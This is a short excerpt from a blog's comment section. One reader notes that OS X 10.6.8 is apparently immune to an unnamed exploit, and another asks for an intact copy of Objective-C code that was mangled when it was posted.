      So OS X 10.6.8 is immune to this particular exploit? Awesome!


    • Miles Wolbe says:

      Hi Felipe, Many thanks for sharing that. It looks like the #import lines were truncated (I imagine WordPress flagged the angle brackets as disallowed HTML) and the quotes turned into smart quotes.

      I replaced the smart quotes with standard ones and added 3 import lines (Foundation/Foundation.h, AppKit/AppKit.h, and CoreData/CoreData.h) but still could not get a working version. Would you please clarify what adjustments need to be made or post a link to an intact version?


Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: